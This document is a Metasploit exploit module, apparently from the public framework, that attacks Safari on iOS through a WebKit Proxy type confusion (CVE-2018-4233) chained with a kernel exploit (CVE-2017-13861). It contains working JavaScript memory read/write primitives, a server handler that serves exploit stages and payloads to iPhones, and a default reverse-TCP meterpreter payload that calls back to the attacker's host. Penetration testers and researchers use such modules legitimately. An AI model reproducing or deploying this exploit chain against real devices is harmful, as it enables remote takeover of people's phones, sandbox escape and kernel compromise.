## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Safari Webkit Proxy Object Type Confusion', 'Description' => %q{ This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233). The type confusion leads to the ability to allocate fake Javascript objects, as well as the ability to find the address in memory of a Javascript object. This allows us to construct a fake JSCell object that can be used to read and write arbitrary memory from Javascript. The module then uses a ROP chain to write the first stage shellcode into executable memory within the Safari process and kick off its execution. The first stage maps the second stage macho (containing CVE-2017-13861) into executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake exploit leads to a kernel task port (TFP0) that can read and write arbitrary kernel memory. The processes credential and sandbox structure in the kernel is overwritten and the meterpreter payloads code signature hash is added to the kernels trust cache, allowing Safari to load and execute the (self-signed) meterpreter payload. }, 'License' => MSF_LICENSE, 'Author' => [ 'saelo', 'niklasb', 'Ian Beer', 'siguza', ], 'References' => [ ['CVE', '2018-4233'], ['CVE', '2017-13861'], ['URL', 'https://github.com/saelo/cve-2018-4233'], ['URL', 'https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1417'], ['URL', 'https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js'], ], 'Arch' => ARCH_AARCH64, 'Platform' => 'apple_ios', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' }, 'Targets' => [[ 'Automatic', {} ]], 'DisclosureDate' => 'Mar 15 2018')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]), OptBool.new('DUMP_OFFSETS', [false, "Show newly found offsets in a javascript prompt", false]), ]) end def exploit_data(directory, file) path = ::File.join Msf::Config.data_directory, 'exploits', directory, file ::File.binread path end def payload_url "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}" end def get_version(user_agent) if user_agent =~ /OS (.*?) like Mac OS X\)/ ios_version = Gem::Version.new($1.gsub("_", ".")) return ios_version end fail_with Failure::NotVulnerable, 'Target is not vulnerable' end def on_request_uri(cli, request) if request.uri =~ %r{/apple-touch-icon*} return elsif request.uri =~ %r{/favicon*} return elsif request.uri =~ %r{/payload10$*} payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib_sha1 send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'}) print_good("Sent sha1 iOS 10 payload") return elsif request.uri =~ %r{/payload11$*} payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'}) print_good("Sent sha256 iOS 11 payload") return end user_agent = request['User-Agent'] print_status("Requesting #{request.uri} from #{user_agent}") version = get_version(user_agent) ios_11 = (version >= Gem::Version.new('11.0.0')) if request.uri =~ %r{/exploit$} loader_data = exploit_data('CVE-2017-13861', 'exploit') srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr) config = [srvhost, srvport].pack("Nn") + payload_url payload_url_index = loader_data.index('PAYLOAD_URL') loader_data[payload_url_index, config.length] = config print_good("Sent async_wake exploit") send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'}) return end get_mem_rw_ios_10 = %Q^ function get_mem_rw(stage1) { var structs = []; function sprayStructures() { function randomString() { return Math.random().toString(36).replace(/[\^a-z]+/g, "").substr(0, 5) } for (var i = 0; i < 4096; i++) { var a = new Float64Array(1); a[randomString()] = 1337; structs.push(a) } } sprayStructures(); var hax = new Uint8Array(4096); var jsCellHeader = new Int64([0, 16, 0, 0, 0, 39, 24, 1]); var container = { jsCellHeader: jsCellHeader.asJSValue(), butterfly: false, vector: hax, lengthAndFlags: (new Int64("0x0001000000000010")).asJSValue() }; var address = Add(stage1.addrof(container), 16); var fakearray = stage1.fakeobj(address); while (!(fakearray instanceof Float64Array)) { jsCellHeader.assignAdd(jsCellHeader, Int64.One); container.jsCellHeader = jsCellHeader.asJSValue() } memory = { read: function(addr, length) { fakearray[2] = i2f(addr); var a = new Array(length); for (var i = 0; i < length; i++) a[i] = hax[i]; return a }, readInt64: function(addr) { return new Int64(this.read(addr, 8)) }, write: function(addr, data) { fakearray[2] = i2f(addr); for (var i = 0; i < data.length; i++) hax[i] = data[i] }, writeInt64: function(addr, val) { return this.write(addr, val.bytes()) }, }; var empty = {}; var header = memory.read(stage1.addrof(empty), 8); memory.write(stage1.addrof(container), header); var f64array = new Float64Array(8); header = memory.read(stage1.addrof(f64array), 16); memory.write(stage1.addrof(fakearray), header); memory.write(Add(stage1.addrof(fakearray), 24), [16, 0, 0, 0, 1, 0, 0, 0]); fakearray.container = container; return memory; } ^ get_mem_rw_ios_11 = %Q^ function get_mem_rw(stage1) { var FPO = typeof(SharedArrayBuffer) === 'undefined' ? 0x18 : 0x10; var structure_spray = [] for (var i = 0; i < 1000; ++i) { var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff} ary['prop'+i] = 1 structure_spray.push(ary) } var manager = structure_spray[500] var leak_addr = stage1.addrof(manager) //print('leaking from: '+ hex(leak_addr)) function alloc_above_manager(expr) { var res do { for (var i = 0; i < ALLOCS; ++i) { structure_spray.push(eval(expr)) } res = eval(expr) } while (stage1.addrof(res) < leak_addr) return res } var unboxed_size = 100 var unboxed = alloc_above_manager('[' + '13.37,'.repeat(unboxed_size) + ']') var boxed = alloc_above_manager('[{}]') var victim = alloc_above_manager('[]') // Will be stored out-of-line at butterfly - 0x10 victim.p0 = 0x1337 function victim_write(val) { victim.p0 = val } function victim_read() { return victim.p0 } i32[0] = 0x200 // Structure ID i32[1] = 0x01082007 - 0x10000 // Fake JSCell metadata, adjusted for boxing var outer = { p0: 0, // Padding, so that the rest of inline properties are 16-byte aligned p1: f64[0], p2: manager, p3: 0xfffffff, // Butterfly indexing mask } var fake_addr = stage1.addrof(outer) + FPO + 0x8; //print('fake obj @ ' + hex(fake_addr)) var unboxed_addr = stage1.addrof(unboxed) var boxed_addr = stage1.addrof(boxed) var victim_addr = stage1.addrof(victim) //print('leak ' + hex(leak_addr) //+ ' unboxed ' + hex(unboxed_addr) //+ ' boxed ' + hex(boxed_addr) //+ ' victim ' + hex(victim_addr)) var holder = {fake: {}} holder.fake = stage1.fakeobj(fake_addr) // From here on GC would be uncool // Share a butterfly for easier boxing/unboxing var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8]) var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8] holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly) var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8] function set_victim_addr(where) { holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10) } function reset_victim_addr() { holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly } var stage2 = { addrof: function(victim) { boxed[0] = victim return f2i(unboxed[0]) }, fakeobj: function(addr) { unboxed[0] = i2f(addr) return boxed[0] }, write64: function(where, what) { set_victim_addr(where) victim_write(this.fakeobj(what)) reset_victim_addr() }, read64: function(where) { set_victim_addr(where) var res = this.addrof(victim_read()) reset_victim_addr() return res; }, write_non_zero: function(where, values) { for (var i = 0; i < values.length; ++i) { if (values[i] != 0) this.write64(where + i*8, values[i]) } }, readInt64: function(where) { if (where instanceof Int64) { where = Add(where, 0x10); holder.fake[(victim_addr + 8 - leak_addr) / 8] = where.asDouble(); } else { set_victim_addr(where); } boxed[0] = victim_read(); var res = f2i(unboxed[0]); reset_victim_addr(); return new Int64(res); }, read: function(addr, length) { var address = new Int64(addr); var a = new Array(length); var i; for (i = 0; i + 8 < length; i += 8) { v = this.readInt64(Add(address, i)).bytes() for (var j = 0; j < 8; j++) { a[i+j] = v[j]; } } v = this.readInt64(Add(address, i)).bytes() for (var j = i; j < length; j++) { a[j] = v[j - i]; } return a }, test: function() { this.write64(boxed_addr + 0x10, 0xfff) // Overwrite index mask, no biggie if (0xfff != this.read64(boxed_addr + 0x10)) { fail(2) } }, } // Test read/write stage2.test() return stage2; } ^ get_mem_rw = (version >= Gem::Version.new('11.2.2')) ? get_mem_rw_ios_11 : get_mem_rw_ios_10 utils = exploit_data "CVE-2018-4233", "utils.js" int64 = exploit_data "CVE-2018-4233", "int64.js" dump_offsets = '' if datastore['DUMP_OFFSETS'] dump_offsets = %Q^ var offsetstr = uuid + " : { "; var offsetarray = [ "_dlsym", "_dlopen", "__longjmp", "regloader", "dispatch", "stackloader", "movx4", "ldrx8", "_mach_task_self_", "__kernelrpc_mach_vm_protect_trap", "__platform_memmove", "__ZN3JSC30endOfFixedExecutableMemoryPoolE", "__ZN3JSC29jitWriteSeparateHeapsFunctionE", "__ZN3JSC32startOfFixedExecutableMemoryPoolE", ]; for (var i = 0; i < offsetarray.length; i++) { var offset = offsets[offsetarray[i]]; if (offset) { var offsethex = Sub(offset, cache_slide).toString().replace("0x0000000", "0x"); offsetstr += "\\"" + offsetarray[i] + "\\" : " + offsethex + ", "; } } offsetstr += "}, "; prompt("offsets: ", offsetstr); ^ end html = %Q^ ^ unless datastore['DEBUG_EXPLOIT'] html.gsub!(/\/\/.*$/, '') # strip comments html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) end end